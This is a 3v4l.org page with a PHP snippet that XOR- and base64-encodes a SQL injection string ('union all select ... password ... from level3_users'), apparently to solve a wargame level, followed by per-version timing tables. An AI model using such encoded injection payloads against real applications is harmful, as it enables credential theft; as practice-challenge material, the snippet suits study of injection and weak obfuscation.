3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' union all select 1,password,3,4,5,6,7 from level3_users--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0130.00618.56
8.3.50.0130.00222.06
8.3.40.0150.00619.00
8.3.30.0090.00619.10
8.3.20.0040.00418.99
8.3.10.0040.00421.09
8.3.00.0070.00023.61
8.2.180.0110.00416.88
8.2.170.0040.01122.96
8.2.160.0100.01020.39
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0050.00319.48
8.2.110.0100.00020.18
8.2.100.0080.00417.97
8.2.90.0080.00019.35
8.2.80.0000.00917.97
8.2.70.0040.00417.86
8.2.60.0050.00317.93
8.2.50.0040.00418.07
8.2.40.0030.00618.16
8.2.30.0030.00520.04
8.2.20.0000.00817.95
8.2.10.0040.00417.86
8.2.00.0060.00617.91
8.1.280.0090.00625.92
8.1.270.0040.00423.99
8.1.260.0060.01226.35
8.1.250.0060.00328.09
8.1.240.0060.00322.55
8.1.230.0040.00720.88
8.1.220.0000.00818.77
8.1.210.0000.00819.03
8.1.200.0060.00317.47
8.1.190.0000.00817.53
8.1.180.0080.00018.10
8.1.170.0000.00818.63
8.1.160.0040.00418.88
8.1.150.0040.00418.87
8.1.140.0040.00417.69
8.1.130.0030.00317.96
8.1.120.0040.00417.57
8.1.110.0040.00417.68
8.1.100.0000.00717.71
8.1.90.0000.00717.54
8.1.80.0040.00417.62
8.1.70.0000.00717.60
8.1.60.0040.00417.66
8.1.50.0040.00417.65
8.1.40.0100.00017.65
8.1.30.0040.00417.84
8.1.20.0080.00017.77
8.1.10.0000.00817.61
8.1.00.0030.00717.57
8.0.300.0040.00419.97
8.0.290.0030.00617.18
8.0.280.0000.00818.50
8.0.270.0070.00017.36
8.0.260.0000.00717.01
8.0.250.0040.00417.11
8.0.240.0050.00317.10
8.0.230.0030.00517.16
8.0.220.0000.00717.00
8.0.210.0050.00217.08
8.0.200.0000.00717.20
8.0.190.0030.00516.99
8.0.180.0040.00417.00
8.0.170.0050.00317.16
8.0.160.0040.00417.05
8.0.150.0040.00417.11
8.0.140.0070.00417.02
8.0.130.0030.00313.46
8.0.120.0090.00017.04
8.0.110.0000.00717.13
8.0.100.0040.00416.89
8.0.90.0000.00717.13
8.0.80.0090.00617.00
8.0.70.0000.00717.10
8.0.60.0070.00016.95
8.0.50.0050.00317.13
8.0.30.0150.01017.46
8.0.20.0120.01217.40
8.0.10.0040.00416.99
8.0.00.0090.01316.84
7.4.330.0000.00614.95
7.4.320.0000.00816.67
7.4.300.0030.00316.64
7.4.290.0000.00816.79
7.4.280.0000.00816.61
7.4.270.0070.00016.70
7.4.260.0000.00513.43
7.4.250.0040.00416.86
7.4.240.0050.00316.66
7.4.230.0080.00016.87
7.4.220.0030.01616.83
7.4.210.0080.00816.82
7.4.200.0000.00716.82
7.4.190.0040.00616.81
7.4.160.0100.00616.73
7.4.150.0100.00717.40
7.4.140.0140.00817.86
7.4.130.0070.00916.71
7.4.120.0070.01016.72
7.4.110.0060.01316.60
7.4.100.0100.00716.82
7.4.90.0150.00316.64
7.4.80.0090.01219.37
7.4.70.0050.01616.91
7.4.60.0130.00816.66
7.4.50.0030.00616.80
7.4.40.0070.01022.27
7.4.30.0090.01216.67
7.4.00.0050.01115.05
7.3.330.0000.00513.48
7.3.320.0060.00013.41
7.3.310.0000.00716.65
7.3.300.0030.00316.41
7.3.290.0060.00916.56
7.3.280.0060.01016.53
7.3.270.0060.01117.40
7.3.260.0110.00618.24
7.3.250.0090.01116.71
7.3.240.0100.00716.54
7.3.230.0090.00616.47
7.3.210.0140.00616.47
7.3.200.0120.00319.39
7.3.190.0030.02016.71
7.3.180.0070.01016.74
7.3.170.0080.00816.73
7.3.160.0080.00816.48
7.3.120.0100.00615.06
7.3.110.0110.00715.14
7.3.100.0070.01115.03
7.3.90.0120.00614.91
7.3.80.0030.00615.06
7.3.70.0040.01114.87
7.3.60.0060.00914.97
7.3.50.0060.00614.97
7.3.40.0070.00714.93
7.3.30.0060.00614.85
7.3.20.0060.00616.93
7.3.10.0060.00916.89
7.3.00.0070.01016.77
7.2.330.0120.00616.91
7.2.320.0110.00616.88
7.2.310.0160.00316.91
7.2.300.0060.01016.82
7.2.290.0030.01416.92
7.2.250.0110.00715.05
7.2.240.0100.00715.41
7.2.230.0030.01315.41
7.2.220.0000.01015.16
7.2.210.0080.00415.09
7.2.200.0070.00315.09
7.2.190.0060.00915.36
7.2.180.0070.00315.04
7.2.170.0060.01015.36
7.2.00.0030.00919.64
7.1.330.0060.00916.18
7.1.320.0080.00415.80
7.1.310.0030.01015.98
7.1.300.0140.00016.02
7.1.290.0030.01216.08
7.1.280.0060.00916.06
7.1.270.0070.00415.69
7.1.260.0070.00716.18
7.1.100.0030.01318.23
7.1.70.0030.00617.39
7.1.60.0110.01419.40
7.1.50.0120.01217.24
7.1.00.0030.03722.36
7.0.200.0000.00716.91
7.0.140.0070.07022.13
7.0.70.5000.05320.00
7.0.60.4370.03719.78
7.0.50.4930.04320.19
7.0.40.4330.04320.09
7.0.30.3900.04320.05
7.0.20.4000.04320.17
7.0.10.4330.03720.02
7.0.00.3030.03319.99
5.6.280.0000.07721.03
5.6.210.3770.03020.70
5.6.200.4230.04720.96
5.6.190.4370.04321.07
5.6.180.4000.03020.96
5.6.170.4230.04721.18
5.6.160.2830.04321.03
5.6.150.2430.03020.98
5.6.140.2100.03021.03
5.6.130.3100.03720.96
5.6.120.2830.03321.12
5.6.110.3000.04321.17
5.6.100.3170.04021.04
5.6.90.3400.04021.17
5.6.80.4300.03020.47
5.6.70.4970.06020.39
5.6.60.3770.04320.30
5.6.50.4300.03720.33
5.6.40.4100.04320.38
5.6.30.3800.03320.40
5.6.20.4400.03720.37
5.6.10.4030.03720.52
5.6.00.4330.04320.40
5.5.350.3830.04720.30
5.5.340.3970.04020.75
5.5.330.4270.04720.74
5.5.320.4170.04020.75
5.5.310.4070.04720.89
5.5.300.3470.03020.74
5.5.290.2800.03320.78
5.5.280.2930.03720.65
5.5.270.2430.03720.64
5.5.260.4100.03720.82
5.5.250.4270.04320.61
5.5.240.3900.03720.22
5.5.230.3770.03720.22
5.5.220.4400.03020.27
5.5.210.4270.03720.16
5.5.200.4270.04319.99
5.5.190.4330.03720.22
5.5.180.3200.04020.29
5.5.160.4230.04020.06
5.5.150.3770.03720.13
5.5.140.3930.04020.27
5.5.130.4230.04020.27
5.5.120.3670.03020.08
5.5.110.5030.04020.15
5.5.100.3430.04720.09
5.5.90.3670.03020.08
5.5.80.3600.04019.95
5.5.70.3430.03719.93
5.5.60.3570.03720.04
5.5.50.3570.04020.04
5.5.40.3630.03319.95
5.5.30.3300.04320.15
5.5.20.3670.04020.12
5.5.10.3700.04020.02
5.5.00.3400.04019.96
5.4.450.3230.05019.20
5.4.440.2700.03319.38
5.4.430.3270.04319.36
5.4.420.3300.03719.20
5.4.410.3930.03719.33
5.4.400.3670.03319.05
5.4.390.4030.02719.12
5.4.380.4070.04019.23
5.4.370.4200.04019.23
5.4.360.4030.04019.14
5.4.350.4330.04019.13
5.4.340.4070.04318.95
5.4.320.4030.03718.95
5.4.310.3630.03318.94
5.4.300.3070.04719.03
5.4.290.3500.03319.14
5.4.280.4030.04319.13
5.4.270.0200.07019.09
5.4.260.3930.03719.15
5.4.250.3500.04018.94
5.4.240.3670.03719.02
5.4.230.3700.03319.17
5.4.220.3530.04019.13
5.4.210.4000.04019.20
5.4.200.3670.03319.18
5.4.190.3600.04019.21
5.4.180.3700.04319.07
5.4.170.3770.03319.08
5.4.160.3500.04019.11
5.4.150.3570.03019.03
5.4.140.2400.03016.45
5.4.130.2670.03016.49
5.4.120.3070.04016.19
5.4.110.3570.02716.48
5.4.100.3500.03716.44
5.4.90.3470.03716.38
5.4.80.3700.04016.43
5.4.70.3530.03316.47
5.4.60.3900.03716.32
5.4.50.3630.03016.25
5.4.40.3530.04016.50
5.4.30.3730.03716.45
5.4.20.3370.03316.32
5.4.10.3530.03716.40
5.4.00.3630.03715.88
5.3.290.4200.04314.69
5.3.280.3670.04314.67
5.3.270.2930.04014.73
5.3.260.3730.03014.58
5.3.250.3270.04314.68
5.3.240.3070.03714.62
5.3.230.2730.02714.61
5.3.220.3500.03714.68
5.3.210.3300.04014.50
5.3.200.3670.03714.70
5.3.190.3700.03314.61
5.3.180.3630.03314.58
5.3.170.3630.04014.52
5.3.160.3530.03714.63
5.3.150.3670.03714.55
5.3.140.3370.02714.63
5.3.130.3630.04014.59
5.3.120.3070.04314.55
5.3.110.3170.04314.56
5.3.100.3400.04314.09
5.3.90.3200.03314.09
5.3.80.3330.04013.95
5.3.70.3170.04014.09
5.3.60.3530.04314.14
5.3.50.3700.04014.09
5.3.40.3630.03713.93
5.3.30.3200.03714.04
5.3.20.3600.03313.82
5.3.10.3300.02713.73
5.3.00.2170.03313.70
5.2.170.2870.02711.29
5.2.160.2970.02711.24
5.2.150.3070.03011.00
5.2.140.3330.02711.03
5.2.130.2470.03011.21
5.2.120.2630.02311.23
5.2.110.2730.03011.16
5.2.100.2370.03011.04
5.2.90.2170.02311.04
5.2.80.1570.02311.24
5.2.70.1470.02011.09
5.2.60.2130.02710.99
5.2.50.2100.02711.04
5.2.40.1630.02011.06
5.2.30.1670.02011.04
5.2.20.1000.02311.05
5.2.10.1630.02710.92
5.2.00.1700.03010.73
5.1.60.1170.01710.08
5.1.50.1830.0209.84
5.1.40.1730.01710.05
5.1.30.1800.03010.21
5.1.20.2400.02710.48
5.1.10.2230.02310.17
5.1.00.2370.03010.18
5.0.50.0900.0308.55
5.0.40.1030.0178.31
5.0.30.0800.0338.30
5.0.20.0900.0338.35
5.0.10.1030.0278.03
5.0.00.0900.0438.19
4.4.90.0630.0176.02
4.4.80.0270.0106.02
4.4.70.0530.0136.02
4.4.60.0330.0136.02
4.4.50.0570.0076.02
4.4.40.0630.0306.02
4.4.30.0770.0276.02
4.4.20.1000.0176.02
4.4.10.0970.0206.02
4.4.00.0930.0306.02
4.3.110.0930.0206.02
4.3.100.0930.0236.03
4.3.90.1000.0206.03
4.3.80.0970.0336.03
4.3.70.0970.0176.03
4.3.60.0970.0236.03
4.3.50.0900.0206.03
4.3.40.1030.0306.03
4.3.30.0000.0306.03
4.3.20.0000.0436.03
4.3.10.0000.0276.03
4.3.00.0000.0176.03

preferences:
38.45 ms | 401 KiB | 5 Q